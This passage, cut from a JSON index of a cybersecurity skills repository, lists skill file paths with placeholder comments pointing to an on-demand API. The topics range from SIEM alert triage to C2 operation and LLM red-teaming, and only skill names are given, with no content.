/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-beyondcorp%2FSKILL.md -->","skills/implementing-zero-trust-with-beyondcorp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-beyondcorp%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2FSKILL.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Fassets%2Ftemplate.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fstandards.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fworkflows.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2FSKILL.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Fassets%2Ftemplate.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fapi-reference.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fstandards.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fworkflows.md -->","skills/integrating-sast-into-github-actions-pipeline/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2FSKILL.md -->","skills/integrating-sast-into-github-actions-pipeline/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Fassets%2Ftemplate.md -->","skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fapi-reference.md -->","skills/integrating-sast-into-github-actions-pipeline/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fstandards.md -->","skills/integrating-sast-into-github-actions-pipeline/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fworkflows.md -->","skills/intercepting-mobile-traffic-with-burpsuite/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2FSKILL.md -->","skills/intercepting-mobile-traffic-with-burpsuite/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Fassets%2Ftemplate.md -->","skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fapi-reference.md -->","skills/intercepting-mobile-traffic-with-burpsuite/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fstandards.md -->","skills/intercepting-mobile-traffic-with-burpsuite/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fworkflows.md -->","skills/investigating-insider-threat-indicators/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-insider-threat-indicators%2FSKILL.md -->","skills/investigating-insider-threat-indicators/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-insider-threat-indicators%2Freferences%2Fapi-reference.md -->","skills/investigating-phishing-email-incident/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-phishing-email-incident%2FSKILL.md -->","skills/investigating-phishing-email-incident/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-phishing-email-incident%2Freferences%2Fapi-reference.md -->","skills/investigating-ransomware-attack-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-ransomware-attack-artifacts%2FSKILL.md -->","skills/investigating-ransomware-attack-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-ransomware-attack-artifacts%2Freferences%2Fapi-reference.md -->","skills/managing-cloud-identity-with-okta/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-cloud-identity-with-okta%2FSKILL.md -->","skills/managing-cloud-identity-with-okta/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-cloud-identity-with-okta%2Freferences%2Fapi-reference.md -->","skills/managing-intelligence-lifecycle/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-intelligence-lifecycle%2FSKILL.md -->","skills/managing-intelligence-lifecycle/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-intelligence-lifecycle%2Freferences%2Fapi-reference.md -->","skills/managing-third-party-vendor-risk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2FSKILL.md -->","skills/managing-third-party-vendor-risk/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2Fassets%2Ftemplate.md -->","skills/managing-third-party-vendor-risk/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2Freferences%2Fstandards.md -->","skills/mapping-attack-paths-with-bloodhound-ce/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2FSKILL.md -->","skills/mapping-attack-paths-with-bloodhound-ce/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2Freferences%2Fapi-reference.md -->","skills/mapping-attack-paths-with-bloodhound-ce/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2Freferences%2Fstandards.md -->","skills/mapping-mitre-attack-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-mitre-attack-techniques%2FSKILL.md -->","skills/mapping-mitre-attack-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-mitre-attack-techniques%2Freferences%2Fapi-reference.md -->","skills/migrating-to-post-quantum-cryptography/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2FSKILL.md -->","skills/migrating-to-post-quantum-cryptography/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2Freferences%2Fapi-reference.md -->","skills/migrating-to-post-quantum-cryptography/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2Freferences%2Fstandards.md -->","skills/modeling-threats-with-opencti/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2FSKILL.md -->","skills/modeling-threats-with-opencti/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2Freferences%2Fapi-reference.md -->","skills/modeling-threats-with-opencti/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2Freferences%2Fstandards.md -->","skills/monitoring-darkweb-sources/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-darkweb-sources%2FSKILL.md -->","skills/monitoring-darkweb-sources/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-darkweb-sources%2Freferences%2Fapi-reference.md -->","skills/monitoring-scada-modbus-traffic-anomalies/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-scada-modbus-traffic-anomalies%2FSKILL.md -->","skills/monitoring-scada-modbus-traffic-anomalies/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-scada-modbus-traffic-anomalies%2Freferences%2Fapi-reference.md -->","skills/moving-laterally-with-netexec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2FSKILL.md -->","skills/moving-laterally-with-netexec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2Freferences%2Fapi-reference.md -->","skills/moving-laterally-with-netexec/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2Freferences%2Fstandards.md -->","skills/operating-havoc-c2/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2FSKILL.md -->","skills/operating-havoc-c2/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2Freferences%2Fapi-reference.md -->","skills/operating-havoc-c2/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2Freferences%2Fstandards.md -->","skills/operating-sliver-c2/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2FSKILL.md -->","skills/operating-sliver-c2/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2Freferences%2Fapi-reference.md -->","skills/operating-sliver-c2/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2Freferences%2Fstandards.md -->","skills/operationalizing-misp-threat-feeds/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2FSKILL.md -->","skills/operationalizing-misp-threat-feeds/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2Freferences%2Fapi-reference.md -->","skills/operationalizing-misp-threat-feeds/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2Freferences%2Fstandards.md -->","skills/orchestrating-llm-attacks-with-pyrit/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2FSKILL.md -->","skills/orchestrating-llm-attacks-with-pyrit/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2Freferences%2Fapi-reference.md -->","skills/orchestrating-llm-attacks-with-pyrit/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2Freferences%2Fstandards.md -->","skills/parsing-artifacts-with-eric-zimmerman-tools/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2FSKILL.md -->","skills/parsing-artifacts-with-eric-zimmerman-tools/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2Freferences%2Fapi-reference.md -->","skills/parsing-artifacts-with-eric-zimmerman-tools/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2Freferences%2Fstandards.md -->","skills/performing-access-recertification-with-saviynt/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2FSKILL.md -->","skills/performing-access-recertification-with-saviynt/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Fassets%2Ftemplate.md -->","skills/performing-access-recertification-with-saviynt/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fapi-reference.md -->","skills/performing-access-recertification-with-saviynt/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fstandards.md -->","skills/performing-access-recertification-with-saviynt/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fworkflows.md -->","skills/performing-access-review-and-certification/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2FSKILL.md -->","skills/performing-access-review-and-certification/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Fassets%2Ftemplate.md -->","skills/performing-access-review-and-certification/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fapi-reference.md -->","skills/performing-access-review-and-certification/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fstandards.md -->","skills/performing-access-review-and-certification/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fworkflows.md -->","skills/performing-active-directory-bloodhound-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2FSKILL.md -->","skills/performing-active-directory-bloodhound-analysis/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Fassets%2Ftemplate.md -->","skills/performing-active-directory-bloodhound-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-bloodhound-analysis/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fstandards.md -->","skills/performing-active-directory-bloodhound-analysis/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fworkflows.md -->","skills/performing-active-directory-compromise-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2FSKILL.md -->","skills/performing-active-directory-compromise-investigation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Fassets%2Ftemplate.md -->","skills/performing-active-directory-compromise-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-compromise-investigation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fstandards.md -->","skills/performing-active-directory-compromise-investigation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fworkflows.md -->","skills/performing-active-directory-forest-trust-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-forest-trust-attack%2FSKILL.md -->","skills/performing-active-directory-forest-trust-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-forest-trust-attack%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2FSKILL.md -->","skills/performing-active-directory-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Fassets%2Ftemplate.md -->","skills/performing-active-directory-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fstandards.md -->","skills/performing-active-directory-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fworkflows.md -->","skills/performing-active-directory-vulnerability-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2FSKILL.md -->","skills/performing-active-directory-vulnerability-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Fassets%2Ftemplate.md -->","skills/performing-active-directory-vulnerability-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-vulnerability-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fstandards.md -->","skills/performing-active-directory-vulnerability-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fworkflows.md -->","skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2FSKILL.md -->","skills/performing-adversary-in-the-middle-phishing-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Fassets%2Ftemplate.md -->","skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fapi-reference.md -->","skills/performing-adversary-in-the-middle-phishing-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fstandards.md -->","skills/performing-adversary-in-the-middle-phishing-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fworkflows.md -->","skills/performing-agentless-vulnerability-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2FSKILL.md -->","skills/performing-agentless-vulnerability-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Fassets%2Ftemplate.md -->","skills/performing-agentless-vulnerability-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fapi-reference.md -->","skills/performing-agentless-vulnerability-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fstandards.md -->","skills/performing-agentless-vulnerability-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fworkflows.md -->","skills/performing-ai-driven-osint-correlation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ai-driven-osint-correlation%2FSKILL.md -->","skills/performing-ai-driven-osint-correlation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ai-driven-osint-correlation%2Freferences%2Fapi-reference.md -->","skills/performing-alert-triage-with-elastic-siem/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2FSKILL.md -->","skills/performing-alert-triage-with-elastic-siem/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Fassets%2Ftemplate.md -->","skills/performing-alert-triage-with-elastic-siem/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fapi-reference.md -->","skills/performing-alert-triage-with-elastic-siem/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fstandards.md -->","skills/performing-alert-triage-with-elastic-siem/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fworkflows.md -->","skills/performing-android-app-static-analysis-with-mobsf/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2FSKILL.md -->","skills/performing-android-app-static-analysis-with-mobsf/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Fassets%2Ftemplate.md -->","skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fapi-reference.md -->","skills/performing-android-app-static-analysis-with-mobsf/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fstandards.md -->","skills/performing-android-app-static-analysis-with-mobsf/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fworkflows.md -->","skills/performing-api-fuzzing-with-restler/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-fuzzing-with-restler%2FSKILL.md -->","skills/performing-api-fuzzing-with-restler/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-fuzzing-with-restler%2Freferences%2Fapi-reference.md -->","skills/performing-api-inventory-and-discovery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-inventory-and-discovery%2FSKILL.md -->","skills/performing-api-inventory-and-discovery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-inventory-and-discovery%2Freferences%2Fapi-reference.md -->","skills/performing-api-rate-limiting-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-rate-limiting-bypass%2FSKILL.md -->","skills/performing-api-rate-limiting-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-rate-limiting-bypass%2Freferences%2Fapi-reference.md -->","skills/performing-api-security-testing-with-postman/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-security-testing-with-postman%2FSKILL.md -->","skills/performing-api-security-testing-with-postman/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-security-testing-with-postman%2Freferences%2Fapi-reference.md -->","skills/performing-arp-spoofing-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-arp-spoofing-attack-simulation%2FSKILL.md -->","skills/performing-arp-spoofing-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-arp-spoofing-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/performing-asset-criticality-scoring-for-vulns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2FSKILL.md -->","skills/performing-asset-criticality-scoring-for-vulns/assets/template.md":"<!-- Skill available on-demand via 